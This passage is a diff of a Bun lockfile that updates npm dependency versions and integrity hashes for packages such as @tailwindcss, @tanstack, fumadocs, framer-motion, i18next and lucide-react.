"@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.3.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Mvrf2kXW/yeW/OTezZlCGOirXRcUuLIBx/5Y12BaPM7wJoryG6dfS/NJL8aBPqtTEx/Vm4T4vKzFUcKDT+TKUA=="],
|
||||||
|
|
||||||
"@tailwindcss/vite": ["@tailwindcss/vite@4.2.4", "", { "dependencies": { "@tailwindcss/node": "4.2.4", "@tailwindcss/oxide": "4.2.4", "tailwindcss": "4.2.4" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-pCvohwOCspk3ZFn6eJzrrX3g4n2JY73H6MmYC87XfGPyTty4YsCjYTMArRZm/zOI8dIt3+EcrLHAFPe5A4bgtw=="],
|
"@tailwindcss/vite": ["@tailwindcss/vite@4.3.0", "", { "dependencies": { "@tailwindcss/node": "4.3.0", "@tailwindcss/oxide": "4.3.0", "tailwindcss": "4.3.0" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-t6J3OrB5Fc0ExuhohouH0fWUGMYL6PTLhW+E7zIk/pdbnJARZDCwjBznFnkh5ynRnIRSI4YjtTH0t6USjJISrw=="],
|
||||||
|
|
||||||
"@tanstack/devtools": ["@tanstack/[email protected]", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-6TPNl3jTrCFpyV3m9lBeHxum6btmiihbv+A3xkDpt3JScRcWP1a8G5rZzKhlOtikzG1QSiceRrbckKnIAvZ7FQ=="],
|
"@tanstack/devtools": ["@tanstack/[email protected]", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-6TPNl3jTrCFpyV3m9lBeHxum6btmiihbv+A3xkDpt3JScRcWP1a8G5rZzKhlOtikzG1QSiceRrbckKnIAvZ7FQ=="],
|
||||||
|
|
||||||
@@ -517,11 +518,11 @@
|
|||||||
|
|
||||||
"@tanstack/devtools-vite": ["@tanstack/[email protected]", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="],
|
"@tanstack/devtools-vite": ["@tanstack/[email protected]", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="],
|
||||||
|
|
||||||
"@tanstack/query-core": ["@tanstack/[email protected].5", "", {}, "sha512-t20KrhKkf0HXzqQkPbJ5erhFesup68BAbwFgYmTrS7bxMF7O5MdmL8jUkik4thsG7Hg00fblz30h6yF1d5TxGg=="],
|
"@tanstack/query-core": ["@tanstack/[email protected].14", "", {}, "sha512-5X41dGpxgeaHISCRW2oYwcSycZeULZzAunaudXT9ov1KOTj9xwt0CH6hbwqP1/z74ZWF7rYFnDpyYH07XFcZew=="],
|
||||||
|
|
||||||
"@tanstack/react-devtools": ["@tanstack/[email protected]", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="],
|
"@tanstack/react-devtools": ["@tanstack/[email protected]", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="],
|
||||||
|
|
||||||
"@tanstack/react-query": ["@tanstack/[email protected].5", "", { "dependencies": { "@tanstack/query-core": "5.100.5" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-aNwj1mi2v2bQ9IxkyR1grLOUkv3BYWoykHy9KDyLNbjC3tsahbOHJibK+Wjtr1wRhG59/AvJhiJG5OlthaCgJA=="],
|
"@tanstack/react-query": ["@tanstack/[email protected].14", "", { "dependencies": { "@tanstack/query-core": "5.100.14" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-oOr6aRdSFEwWhzxEkD/9ZcItM3+LjBSkeVmadWKwUssAHTsqd/7bOjWrX4AbvEkoEhgAxzN0Xk6H/aYzXiYBAw=="],
|
||||||
|
|
||||||
"@tybys/wasm-util": ["@tybys/[email protected]", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="],
|
"@tybys/wasm-util": ["@tybys/[email protected]", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="],
|
||||||
|
|
||||||
@@ -541,13 +542,13 @@
|
|||||||
|
|
||||||
"@types/ms": ["@types/[email protected]", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="],
|
"@types/ms": ["@types/[email protected]", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="],
|
||||||
|
|
||||||
"@types/node": ["@types/node@25.6.0", "", { "dependencies": { "undici-types": "~7.19.0" } }, "sha512-+qIYRKdNYJwY3vRCZMdJbPLJAtGjQBudzZzdzwQYkEPQd+PJGixUL5QfvCLDaULoLv+RhT3LDkwEfKaAkgSmNQ=="],
|
"@types/node": ["@types/node@25.9.1", "", { "dependencies": { "undici-types": ">=7.24.0 <7.24.7" } }, "sha512-xfrlY7UD5rMJk3ZVJP8BNzS28J36YJg+xp+LPXV1TdWxr8uMH5A860QNxYDGQe/ylDSgjxE52Q9VnO7p75tJxg=="],
|
||||||
|
|
||||||
"@types/parse-json": ["@types/[email protected]", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="],
|
"@types/parse-json": ["@types/[email protected]", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="],
|
||||||
|
|
||||||
"@types/prismjs": ["@types/[email protected]", "", {}, "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ=="],
|
"@types/prismjs": ["@types/[email protected]", "", {}, "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ=="],
|
||||||
|
|
||||||
"@types/react": ["@types/[email protected]4", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w=="],
|
"@types/react": ["@types/[email protected]5", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-eRwcGNHve+E8qtEQSSRl6urh+rFop4v8gm6O8rGv25CodbvFdLjA1vVQ1KkiFE0w0UPOnb8tDiFKL5lp0rtY5Q=="],
|
||||||
|
|
||||||
"@types/react-copy-to-clipboard": ["@types/[email protected]", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="],
|
"@types/react-copy-to-clipboard": ["@types/[email protected]", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="],
|
||||||
|
|
||||||
@@ -591,7 +592,7 @@
|
|||||||
|
|
||||||
"balanced-match": ["[email protected]", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="],
|
"balanced-match": ["[email protected]", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="],
|
||||||
|
|
||||||
"baseline-browser-mapping": ["baseline-browser-mapping@2.8.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-OPz5aBThlyLFgxyhdwf/s2+8ab3OvT7AdTNvKHBwpXomIYeXqpUUuT8LrdtxZSsWJ4R4CU1un4XGh5Ez3nlTpw=="],
|
"baseline-browser-mapping": ["baseline-browser-mapping@2.10.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-wbPvpyjJPC0zdfdKXxqEL3Ea+bOMD/87X4lftiJkkaBiuG6ALQy1SLmEd7BSmVCuwCQsBrCamgBoLyfFDD1EPg=="],
|
||||||
|
|
||||||
"boxen": ["[email protected]", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^7.0.0", "chalk": "^5.0.1", "cli-boxes": "^3.0.0", "string-width": "^5.1.2", "type-fest": "^2.13.0", "widest-line": "^4.0.1", "wrap-ansi": "^8.0.1" } }, "sha512-j//dBVuyacJbvW+tvZ9HuH03fZ46QcaKvvhZickZqtB271DxJ7SNRSNxrV/dZX0085m7hISRZWbzWlJvx/rHSg=="],
|
"boxen": ["[email protected]", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^7.0.0", "chalk": "^5.0.1", "cli-boxes": "^3.0.0", "string-width": "^5.1.2", "type-fest": "^2.13.0", "widest-line": "^4.0.1", "wrap-ansi": "^8.0.1" } }, "sha512-j//dBVuyacJbvW+tvZ9HuH03fZ46QcaKvvhZickZqtB271DxJ7SNRSNxrV/dZX0085m7hISRZWbzWlJvx/rHSg=="],
|
||||||
|
|
||||||
@@ -719,7 +720,7 @@
|
|||||||
|
|
||||||
"emoji-regex": ["[email protected]", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="],
|
"emoji-regex": ["[email protected]", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="],
|
||||||
|
|
||||||
"enhanced-resolve": ["[email protected]0.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA=="],
|
"enhanced-resolve": ["[email protected]2.0", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-xYcDWrpELkFzz9SpZ3PlI6Eu6eD93Yf0WLDRxikGhWJ3MAir2SNZTIVCVZqZ/NUyx8AdMc2gT9C0gPiw18kG+A=="],
|
||||||
|
|
||||||
"entities": ["[email protected]", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="],
|
"entities": ["[email protected]", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="],
|
||||||
|
|
||||||
@@ -771,15 +772,15 @@
|
|||||||
|
|
||||||
"format": ["[email protected]", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="],
|
"format": ["[email protected]", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="],
|
||||||
|
|
||||||
"framer-motion": ["framer-motion@12.38.0", "", { "dependencies": { "motion-dom": "^12.38.0", "motion-utils": "^12.36.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-rFYkY/pigbcswl1XQSb7q424kSTQ8q6eAC+YUsSKooHQYuLdzdHjrt6uxUC+PRAO++q5IS7+TamgIw1AphxR+g=="],
|
"framer-motion": ["framer-motion@12.40.0", "", { "dependencies": { "motion-dom": "^12.40.0", "motion-utils": "^12.39.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-uaBd3qC1v3KQqBEjwTUd183K6PbS+j0yR9w9VmEOLWA/tnUcSn8Xa3uck7t4dgpDoUss8xQTcj8W2L07lrnLFg=="],
|
||||||
|
|
||||||
"fsevents": ["[email protected]", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
"fsevents": ["[email protected]", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
||||||
|
|
||||||
"fumadocs-core": ["fumadocs-core@16.8.4", "", { "dependencies": { "@orama/orama": "^3.1.18", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "^0.26.0 || ^0.27.0 || ^1.0.0", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-o8N7YocCSdoehR7cTSYv9usvE3F5q0rrnoro3hGRnSI1SdolmeuxTbdfQgebaP61E7wAI4hIWgo7CzImGRT2Tw=="],
|
"fumadocs-core": ["fumadocs-core@16.9.1", "", { "dependencies": { "@orama/orama": "^3.1.18", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "*", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-8VW4aD1iG5SrCChRq84QpNyjKY69i5WfUFFgtx/LSUuX1RewWb0qps7DhKLSjOWraemhZatzsZ7iceivJmYRTg=="],
|
||||||
|
|
||||||
"fumadocs-mdx": ["fumadocs-mdx@14.3.1", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.0", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "picocolors": "^1.1.1", "picomatch": "^4.0.4", "tinyexec": "^1.1.1", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "zod": "^4.3.6" }, "peerDependencies": { "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^15.0.0 || ^16.0.0", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "vite": "6.x.x || 7.x.x || 8.x.x" }, "optionalPeers": ["@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "vite"], "bin": { "fumadocs-mdx": "dist/bin.js" } }, "sha512-0u2eXvYrZtrJB14y6fDhP0hhxLgmH8JOmRv6IVHALt5MqR9JIJxV5LJYlho8g8CJXRE8w12rVNFZN0rtUVAqGw=="],
|
"fumadocs-mdx": ["fumadocs-mdx@15.0.8", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.0", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "picocolors": "^1.1.1", "picomatch": "^4.0.4", "tinyexec": "^1.1.2", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "zod": "^4.4.3" }, "peerDependencies": { "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^16.7.0", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "rolldown": "*", "vite": "7.x.x || 8.x.x" }, "optionalPeers": ["@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "rolldown", "vite"], "bin": { "fumadocs-mdx": "./bin.js" } }, "sha512-CT9odtkLmpjH/DOTEW8prKY6SYzr7rmHmJj+ZBkvppPMNFstvTLvxxpY0ri8/9RPmCTZQUUMdNBxcPzhsHIcgw=="],
|
||||||
|
|
||||||
"fumadocs-ui": ["fumadocs-ui@16.8.4", "", { "dependencies": { "@fumadocs/tailwind": "0.0.5", "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "lucide-react": "^1.11.0", "motion": "^12.38.0", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tailwind-merge": "^3.5.0", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@takumi-rs/image-response": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.8.4", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@takumi-rs/image-response", "@types/mdx", "@types/react", "next"] }, "sha512-KnNtGUT54772Rhafq9qK/5oo+77MoVwR9HEEvGfXz14hsBs4XWikkOqMbgm6Jjx45rUUbVIWU9qVMernPSXG0g=="],
|
"fumadocs-ui": ["fumadocs-ui@16.9.1", "", { "dependencies": { "@fumadocs/tailwind": "0.0.5", "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "lucide-react": "^1.16.0", "motion": "^12.38.0", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tailwind-merge": "^3.6.0", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@takumi-rs/image-response": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.9.1", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@takumi-rs/image-response", "@types/mdx", "@types/react", "next"] }, "sha512-2A8wO/RuoV0eOgabKMlcjBEPQKynbE4wkxoTfAj/E6bYCid/zY3DG+hhSI1Ssen5ws/73mFPacIEBsWhdAAsnw=="],
|
||||||
|
|
||||||
"function-bind": ["[email protected]", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="],
|
"function-bind": ["[email protected]", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="],
|
||||||
|
|
||||||
@@ -831,7 +832,7 @@
|
|||||||
|
|
||||||
"human-signals": ["[email protected]", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="],
|
"human-signals": ["[email protected]", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="],
|
||||||
|
|
||||||
"i18next": ["i18next@26.0.8", "", { "peerDependencies": { "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-BRzLom0mhDhV9v0QhgUUHWQJuwFmnr1194xEcNLYD6ym8y8s542n4jXUvRLnhNTbh9PmpU6kGZamyuGHQMsGjw=="],
|
"i18next": ["i18next@26.2.0", "", { "peerDependencies": { "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-zwBHldHdTmwN7r6UNc7lC6GWNN+YYg3DrRSeHR5PRRBf5QnJZcYHrQc0uaU26qZeYxR7iFZD+Y315dPnKP47wA=="],
|
||||||
|
|
||||||
"import-fresh": ["[email protected]", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="],
|
"import-fresh": ["[email protected]", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="],
|
||||||
|
|
||||||
@@ -863,7 +864,7 @@
|
|||||||
|
|
||||||
"is-wsl": ["[email protected]", "", { "dependencies": { "is-docker": "^2.0.0" } }, "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww=="],
|
"is-wsl": ["[email protected]", "", { "dependencies": { "is-docker": "^2.0.0" } }, "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww=="],
|
||||||
|
|
||||||
"isbot": ["[email protected].39", "", {}, "sha512-obH0yYahGXdzNxo+djmHhBYThUKDkz565cxkIlt2L9hXfv1NlaLKoDBHo6KxXsYrIXx2RK3x5vY36CfZcobxEw=="],
|
"isbot": ["[email protected].40", "", {}, "sha512-yNeeynhhtIVRBk12tBV4eHNxwB42HzR4Q3Ea7vCOiJhImGaAIdIMrbJtacQlBizGLjUPw+akkFI5Dn9T70XoVQ=="],
|
||||||
|
|
||||||
"isexe": ["[email protected]", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
|
"isexe": ["[email protected]", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
|
||||||
|
|
||||||
@@ -919,7 +920,7 @@
|
|||||||
|
|
||||||
"lru-cache": ["[email protected]", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
|
"lru-cache": ["[email protected]", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
|
||||||
|
|
||||||
"lucide-react": ["[email protected]1.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-UOhjdztXCgdBReRcIhsvz2siIBogfv/lhJEIViCpLt924dO+GDms9T7DNoucI23s6kEPpe988m5N0D2ajnzb2g=="],
|
"lucide-react": ["[email protected]6.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-dYwyPzb4MEKpGUmNYk3WKWPnMrHs3FKM+q94kAnJrcDIqqn1hq2xY8scaS2ovsOCM5D51ey2gaRG3PBb1vgoYQ=="],
|
||||||
|
|
||||||
"magic-string": ["[email protected]", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
|
